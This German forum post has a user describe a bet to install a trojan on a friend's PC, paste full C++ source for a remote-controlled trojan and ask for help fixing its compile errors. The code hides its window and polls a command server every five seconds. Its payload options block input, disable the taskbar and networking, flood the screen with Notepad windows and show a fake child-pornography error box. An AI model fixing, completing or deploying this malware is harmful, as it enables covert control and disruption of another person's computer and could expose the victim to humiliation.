Hallo,
ich habe mit einem Freund eine Wette gemacht, dass ich es nicht schaffe bei ihm einen kleinen Trojaner zu installieren.
Um die Wette zu gewinnen, habe ich einen kleinen harmlosen Trojaner (in Microsoft Visual C++ 2010 Express) programmiert:
#include <windows.h>
#pragma comment(lib, „Winmm.lib“)
#include <urlmon.h>
#pragma comment(lib, „urlmon.lib“)
#include <iostream>
#include <fstream>
#include <WinInet.h>
#pragma comment(lib, „WinInet.lib“)
#include <ShlObj.h>
using namespace std;
int Option, Assign, Target;
DWORD WINAPI Option1(LPVOID);
DWORD WINAPI Option2(LPVOID);
DWORD WINAPI Option3(LPVOID);
DWORD WINAPI Option4(LPVOID);
DWORD WINAPI Option5(LPVOID);
DWORD WINAPI Option6(LPVOID);
DWORD WINAPI Option7(LPVOID);
DWORD WINAPI Option8(LPVOID);
DWORD WINAPI Option9(LPVOID);
DWORD WINAPI Option10(LPVOID);
DWORD WINAPI Option11(LPVOID);
DWORD WINAPI Option13(LPVOID);
int main() {
// Hide Console Window
FreeConsole();
// Checks if assign.txt exists. If it doesn’t (only first run), download assign.txt. This gives the computer an ID number. You can change assign.txt in the PHP file BEFORE you plug in the U3 drive.
FILE *istream;
if ( (istream = fopen ( „C:\Hacks\trojan\assign.txt“, „r“ ) ) == NULL ) {
URLDownloadToFile(NULL, L"http://trojan.webseite.com/assign.html", L"c:\Windows\trojan\assign.txt", NULL, NULL);
} else {
}
// Store Assign.txt in a variable
ifstream inAssign;
inAssign.clear();
inAssign.open(„c:\Hacks\trojan\assign.txt“);
inAssign >> Assign;
inAssign.close();
inAssign.clear();
// Start the main loop that is downloading the textfile each 5 seconds.
while(1) {
// Download Option & Target
remove(„c:\Hacks\trojan\option.txt“);
remove(„c:\Hacks\trojan\target.txt“);
DeleteUrlCacheEntry(L"http://trojan.webseite.com/");
DeleteUrlCacheEntry(L"http://trojan.webseite.com/target.html");
Sleep(100);
URLDownloadToFile(NULL, L"http://trojan.webseite.com/", L"c:\Hacks\trojan\option.txt", NULL, NULL);
URLDownloadToFile(NULL, L"http://trojan.webseite.com/target.html", L"c:\Windows\trojan\target.txt", NULL, NULL);
// Read Option
ifstream inFile;
inFile.clear();
inFile.open(„c:\Hacks\trojan\option.txt“);
inFile >> Option;
inFile.close();
inFile.clear();
// Read Target
ifstream inTarget;
inTarget.clear();
inTarget.open(„c:\Hacks\trojan\target.txt“);
inTarget >> Target;
inTarget.close();
inTarget.clear();
// If Target is equal to assign (so you can target a single computer) or if Target is zero (target all computers with your trojan)
if(Target == Assign || Target == 0) {
if(Option == 1) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option1, 0, 0, NULL); }
else if(Option == 2) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option2, 0, 0, NULL); }
else if(Option == 3) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option3, 0, 0, NULL); }
else if(Option == 4) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option4, 0, 0, NULL); }
else if(Option == 5) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option5, 0, 0, NULL); }
else if(Option == 6) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option6, 0, 0, NULL); }
else if(Option == 7) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option7, 0, 0, NULL); }
else if(Option == 8) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option8, 0, 0, NULL); }
else if(Option == 9) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option9, 0, 0, NULL); }
else if(Option == 10) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option10, 0, 0, NULL); }
else if(Option == 11) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option11, 0, 0, NULL); }
else if(Option == 13) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option13, 0, 0, NULL); }
// Add more of these lines for more commands
}
Sleep(5000);
}
}
//
// Here we start with our commands. Option1, Option2, Option3, etc.
// Don’t forget to also define and create a process for these Options if you want to create more.
// Have Fun =D
//
DWORD WINAPI Option1(LPVOID) { // 1 | Block Mouse & Keyboard
BlockInput(true);
Sleep(600000);
return 0;
}
DWORD WINAPI Option2(LPVOID) { // 2 | 2000x system beep
int Freq, Dur, i;
for(i= 0; i < 2001; i++) {
Freq = rand()%2001;
Dur = rand()%501;
Beep(Freq, Dur);
}
return 0;
}
DWORD WINAPI Option3(LPVOID) { // 3 | Change Foreground Window Title
HWND Window;
Window = GetForegroundWindow();
SetWindowText(Window, L"HACKED by Trojan");
Sleep(10000);
return 0;
}
DWORD WINAPI Option4(LPVOID) { // 4 | Turn Off Monitor
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
Sleep(2000);
return 0;
}
DWORD WINAPI Option5(LPVOID) { // 5 | Swap Mouse Buttons
SwapMouseButton(true);
return 0;
}
DWORD WINAPI Option6(LPVOID) { // 6 | Crazy Mouse
int i,x,y;
for(i= 0; i < 201; i++) {
x = rand()%1001;
y = rand()%801;
SetCursorPos(x,y);
Sleep(200);
}
return 0;
}
DWORD WINAPI Option7(LPVOID) { // 7 | Open a website
ShellExecute(NULL,L"open",L"http://trojan.simolationauth.gloxx.com/",NULL,NULL,SW_MAXIMIZE);
return 0;
}
DWORD WINAPI Option8(LPVOID) { // 8 | Disable Taskbar
HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
ShowWindow(hWin,false);
return 0;
}
DWORD WINAPI Option9(LPVOID) { // 9 | MessageBox / Error
MessageBox(NULL,TEXT(„Error loading C:\Documents and Settings\All Users\Child Porn“),TEXT(„Error“),MB_OK | MB_ICONEXCLAMATION );
return 0;
}
DWORD WINAPI Option10(LPVOID) { // 10 | Hide Current Window
HWND hWin;
hWin = GetForegroundWindow();
ShowWindow(hWin,false);
return 0;
}
DWORD WINAPI Option11(LPVOID) { // 11 | Disable Internet
system(„ipconfig /release“);
return 0;
}
DWORD WINAPI Option13(LPVOID) { // 13 | Notepad Bomber
int i;
for(i= 0; i < 1001; i++) {
ShellExecute(NULL,L"open",L"notepad.exe",NULL,NULL,SW_MAXIMIZE);
}
return 0;
}
Doch leider gibt es einige Probleme:
Der Buildvorgang wurde am 25.05.2014 10:37:12 gestartet.
1>:stuck_out_tongue_winking_eye:rojekt „C:\Users\User\Desktop\c++\Projekte\Trojan\Trojan\Trojan.vcxproj“ auf Knoten „2“, build Ziel(e).
1>InitializeBuildStatus:
Aktualisieren des Timestamps von „Debug\Trojan.unsuccessfulbuild“.
ClCompile:
C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /Od /Oy- /D _MBCS /Gm /EHsc /RTC1 /MDd /GS /fp:stuck_out_tongue:recise /Zc:wchar_t /Zc:forScope /Fo"Debug\" /Fd"Debug\vc100.pdb" /Gd /TP /analyze- /errorReport:stuck_out_tongue:rompt main.cpp
main.cpp
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(33): warning C4996: ‚fopen‘: This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
c:\program files (x86)\microsoft visual studio 10.0\vc\include\stdio.h(234): Siehe Deklaration von ‚fopen‘
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(34): error C2664: ‚URLDownloadToFileA‘: Konvertierung des Parameters 2 von ‚const wchar_t [51]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(52): error C2664: ‚DeleteUrlCacheEntry‘: Konvertierung des Parameters 1 von ‚const wchar_t [40]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(53): error C2664: ‚DeleteUrlCacheEntry‘: Konvertierung des Parameters 1 von ‚const wchar_t [51]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(55): error C2664: ‚URLDownloadToFileA‘: Konvertierung des Parameters 2 von ‚const wchar_t [40]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(56): error C2664: ‚URLDownloadToFileA‘: Konvertierung des Parameters 2 von ‚const wchar_t [51]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(121): error C2664: ‚SetWindowTextA‘: Konvertierung des Parameters 2 von ‚const wchar_t [17]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(149): error C2664: ‚ShellExecuteA‘: Konvertierung des Parameters 2 von ‚const wchar_t [5]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(155): error C2664: ‚FindWindowA‘: Konvertierung des Parameters 1 von ‚const wchar_t [14]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>c:\users\User\desktop\c++\projekte\trojan\trojan\main.cpp(181): error C2664: ‚ShellExecuteA‘: Konvertierung des Parameters 2 von ‚const wchar_t [5]‘ in ‚LPCSTR‘ nicht möglich
Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
1>Die Erstellung des Projekts „C:\Users\User\Desktop\c++\Projekte\Trojan\Trojan\Trojan.vcxproj“ ist abgeschlossen, build Ziel(e) – FEHLER.
Fehler beim Erstellen
Verstrichene Zeit 00:00:01.19
Kann mir jemand sagen wo die fehler liegen?
Simon